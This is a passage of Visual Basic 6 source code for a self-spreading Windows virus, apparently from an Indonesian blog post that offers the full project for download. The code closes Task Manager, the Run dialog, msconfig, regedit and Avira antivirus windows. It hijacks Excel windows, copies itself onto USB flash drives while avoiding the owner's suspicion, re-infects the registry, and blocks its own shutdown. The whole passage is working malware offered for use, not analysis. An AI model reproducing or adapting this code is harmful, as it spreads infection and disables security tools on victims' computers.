FWnd = FindWindow(“XLMAIN”, “Microsoft Excel – Book1″) ‘ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow(“XLMAIN”, “Microsoft Excel – New Microsoft Excel Worksheet.xls”) ‘ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
End Sub
Private Sub Timer3_Timer()
On Error Resume Next
‘menutup aplikasi yang berbahaya bagi virus
FWnd = FindWindow(“#32770″, “RUN”) ‘jendela run
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “System Configuration Utility”) ‘msconfig
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “Windows Task Manager”) ‘task manager
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “Avira AntiVir Personal – Free Antivirus”) ‘Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “AntiVir Guard: Attention, Detection!”) ‘Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“RegEdit_RegEdit”, vbNullString) ‘regedit.exe
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“TMainForm”, vbNullString) ‘aplikasi buatan Delphi (Antivirus PCMAV yang versi lama dapat ditutup tetapi versi yang baru tidak bisa dihentikan) <:d
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“TApplication”, vbNullString) ‘aplikasi buatan Delphi
SendMessage FWnd, WM_CLOSE, 0&, 0&
End Sub
Private Sub Timer4_Timer()
‘cari flashdisk
On Error Resume Next
For i = 0 To Drive1.ListCount – 1
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> “a” Then
FlashDisk = (Drive1.List(i))
Timer4.Enabled = False ‘agar lampu flashdisk tdk berkedip-kedip terlalu lama, sehingga tdk mencurigakan si empunya flashdisk
Exit For
End If
Next
GandaKeFlashDisk ‘
End Sub
Private Sub Timer5_Timer()
On Error Resume Next
InfeksiRegistry
‘Mungkin salah satu virus dihapus shg perlu selalu menggandakan diri
GandakefolderIstimewa
‘menyalakan timer 4
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> “a” Then
Timer4.Enabled = True
End If
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
End Sub
Silahkan Download Project Di Download/Upload Gratis Join 4Shared Now!, Tetapi sebelumnya jika anda berkenan berikan rating pada artikel ini dengan mengklik tanda bintang di bawah ini, agar saya mengetahui artikel yang paling menarik untuk penulisan selanjutnya. Terimakasih.